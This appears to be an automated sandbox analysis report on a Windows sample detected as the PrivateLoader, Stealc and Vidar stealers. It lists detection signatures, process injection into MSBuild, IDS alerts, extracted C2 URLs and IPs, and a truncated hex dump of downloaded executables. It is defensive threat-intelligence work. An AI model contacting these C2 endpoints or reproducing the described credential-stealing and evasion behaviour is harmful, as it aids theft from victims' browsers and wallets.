Edit tour

Windows Analysis Report
d1bc91bd44a0.exe

Overview

General Information

Sample name:	d1bc91bd44a0.exe
Analysis ID:	1525880
MD5:	3abcb3be6004e8a635837eae43b97526
SHA1:	89361ec18490b2648bb4e45a3cebadfce46e1ee6
SHA256:	6d335f02de4d26746ced3035a3568a97c035e5bbc7b37ebe767bb5925f32f07a
Tags:	exeuser-aachum
Infos:

Detection

PrivateLoader, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected PrivateLoader

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Drops PE files to the document folder of the user

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

d1bc91bd44a0.exe (PID: 8108 cmdline: "C:\Users\user\Desktop\d1bc91bd44a0.exe" MD5: 3ABCB3BE6004E8A635837EAE43B97526)

MSBuild.exe (PID: 8132 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

2OJr0kqvYIvMGmMoMnnzAHbc.exe (PID: 6196 cmdline: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe MD5: 2B7045094692BC5DD208CD1E195A6128)

MSBuild.exe (PID: 5748 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 2220 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5748 -s 1272 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6060 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6196 -s 260 MD5: C31336C1EFC2CCB44B4326EA793040F2)

HJCfr5V5_QVbJA3PPM7OVXSs.exe (PID: 5752 cmdline: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe MD5: 33F127E35338687A1A64F67FA6ED3B9A)

MSBuild.exe (PID: 5876 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 5924 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 4948 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5924 -s 1420 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5868 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5752 -s 260 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7236 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8108 -s 260 MD5: C31336C1EFC2CCB44B4326EA793040F2)

conhost.exe (PID: 1844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PrivateLoader	According to sekoia, PrivateLoader is a modular malware whose main capability is to download and execute one or several payloads. The loader implements anti-analysis techniques, fingerprints the compromised host and reports statistics to its C2 server.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://any.run/cybersecurity-blog/privateloader-analyzing-the-encryption-and-decryption-of-a-modern-loader/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem	https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "320a15ec01391d287fbc11f1e7ed5665"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.1912654684.0000000000477000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.1913695959.0000000001567000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.1912654684.0000000000462000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000A.00000002.1912654684.000000000049A000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: MSBuild.exe PID: 8132	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
Process Memory Space: 2OJr0kqvYIvMGmMoMnnzAHbc.exe PID: 6196	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: HJCfr5V5_QVbJA3PPM7OVXSs.exe PID: 5752	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: HJCfr5V5_QVbJA3PPM7OVXSs.exe PID: 5752	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: HJCfr5V5_QVbJA3PPM7OVXSs.exe PID: 5752	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 5748	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 5748	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: MSBuild.exe PID: 5924	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 5924	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 5924	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 5924	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
8.2.2OJr0kqvYIvMGmMoMnnzAHbc.exe.988ae0.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
8.2.2OJr0kqvYIvMGmMoMnnzAHbc.exe.988ae0.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
10.2.MSBuild.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
14.2.MSBuild.exe.400000.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
14.2.MSBuild.exe.400000.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
10.2.MSBuild.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cf8ae0.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cf8ae0.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
14.2.MSBuild.exe.400000.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
14.2.MSBuild.exe.400000.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cf8ae0.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cf8ae0.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
8.2.2OJr0kqvYIvMGmMoMnnzAHbc.exe.960000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cd0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cd0000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 41.216.188.190, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 8132, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49720

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T15:54:13.885169+0200	2044247	1	Malware Command and Control Activity Detected	141.98.233.156	80	192.168.2.10	49947	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T15:53:30.224150+0200	2051831	1	Malware Command and Control Activity Detected	141.98.233.156	80	192.168.2.10	49947	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T15:54:13.151852+0200	2049087	1	A Network Trojan was detected	192.168.2.10	49947	141.98.233.156	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T15:53:45.518933+0200	2803270	2	Potentially Bad Traffic	192.168.2.10	49781	147.45.44.104	80	TCP
2024-10-04T15:53:45.519086+0200	2803270	2	Potentially Bad Traffic	192.168.2.10	49780	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: d1bc91bd44a0.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://46.8.231.109/c4754d4f680ead72.php	URL Reputation: Label: malware
Source: http://46.8.231.109/	URL Reputation: Label: malware
Source: http://46.8.231.109	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\f2e7fcb20146[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1310458
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Avira: detection malicious, Label: HEUR/AGEN.1310458
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Avira: detection malicious, Label: HEUR/AGEN.1310458
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\7f3c2473d1e6[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1310458

Found malware configuration

Source: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "320a15ec01391d287fbc11f1e7ed5665"}
Source: 10.2.MSBuild.exe.400000.1.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\7f3c2473d1e6[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\f2e7fcb20146[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: d1bc91bd44a0.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\f2e7fcb20146[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\7f3c2473d1e6[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: d1bc91bd44a0.exe

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0051C020 SetLastError,GetModuleHandleA,CryptGenRandom,	2_2_0051C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0051BD80 GetModuleHandleA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,	2_2_0051BD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0051BF40 CryptReleaseContext,	2_2_0051BF40

Source: d1bc91bd44a0.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.10:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.10:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.10:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.10:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.3.46:443 -> 192.168.2.10:49802 version: TLS 1.2

Source: d1bc91bd44a0.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Spreading

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 8132, type: MEMORYSTR

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A5730B LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileExW,	1_2_00A5730B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0053FAB6 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	2_2_0053FAB6
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_0097730B LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileExW,	8_2_0097730B
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CE730B LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileExW,	9_2_00CE730B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 14_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,

14_2_00415142

Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_d1bc91bd44a0.exe_a3af2ca23be4db44f6b6c8eec231fd10faccfa_f50e69e1_21fd06de-c9b0-4a73-b6c1-7188d06561c7\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_HJCfr5V5_QVbJA3P_31b8ce65439a50121b23b84153588960845d6bec_80088be2_0f33ec71-5ede-4370-9161-b99e6456e971\	Jump to behavior

Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	9_2_00CF938D
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	9_2_00CF938D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	14_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	14_2_004014AD

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.10:49947 -> 141.98.233.156:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 141.98.233.156:80 -> 192.168.2.10:49947
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 141.98.233.156:80 -> 192.168.2.10:49947

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 8132, type: MEMORYSTR

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 04 Oct 2024 13:53:45 GMTContent-Type: application/octet-streamContent-Length: 484352Last-Modified: Fri, 04 Oct 2024 13:28:34 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66ffed82-76400"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dc 6f 0d 92 98 0e 63 c1 98 0e 63 c1 98 0e 63 c1 4b 7c 60 c0 94 0e 63 c1 4b 7c 66 c0 32 0e 63 c1 4b 7c 67 c0 8d 0e 63 c1 4b 7c 62 c0 9b 0e 63 c1 98 0e 62 c1 c0 0e 63 c1 5a 8f 67 c0 8a 0e 63 c1 5a 8f 60 c0 8c 0e 63 c1 5a 8f 66 c0 d6 0e 63 c1 6b 8c 6a c0 99 0e 63 c1 6b 8c 9c c1 99 0e 63 c1 6b 8c 61 c0 99 0e 63 c1 52 69 63 68 98 0e 63 c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 82 ed ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 c8 01 00 00 a8 05 00 00 00 00 00 2b 6f 00 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 07 00 00 04 00 00 6a 87 07 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 30 6d 02 00 28 00 00 00 00 80 07 00 c9 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 07 00 f0 1a 00 00 78 50 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 4f 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7c c6 01 00 00 10 00 00 00 c8 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ec 93 00 00 00 e0 01 00 00 94 00 00 00 cc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d0 f0 04 00 00 80 02 00 00 e2 04 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c9 05 00 00 00 80 07 00 00 06 00 00 00 42 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 1a 00 00 00 90 07 00 00 1c 00 00 00 48 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 04 Oct 2024 13:53:45 GMTContent-Type: application/octet-streamContent-Length: 563712Last-Modified: Fri, 04 Oct 2024 13:28:16 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66ffed70-89a00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dc 6f 0d 92 98 0e 63 c1 98 0e 63 c1 98 0e 63 c1 4b 7c 60 c0 94 0e 63 c1 4b 7c 66 c0 32 0e 63 c1 4b 7c 67 c0 8d 0e 63 c1 4b 7c 62 c0 9b 0e 63 c1 98 0e 62 c1 c0 0e 63 c1 5a 8f 67 c0 8a 0e 63 c1 5a 8f 60 c0 8c 0e 63 c1 5a 8f 66 c0 d6 0e 63 c1 6b 8c 6a c0 99 0e 63 c1 6b 8c 9c c1 99 0e 63 c1 6b 8c 61 c0 99 0e 63 c1 52 69 63 68 98 0e 63 c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6f ed ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 c8 01 00 00 de 06 00 00 00 00 00 2b 6f 00 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 08 00 00 04 00 00 a3 15 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 30 6d 02 00 28 00 00 00 00 b0 08 00 c9 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 08 00 e8 1a 00 00 78 50 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 4f 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 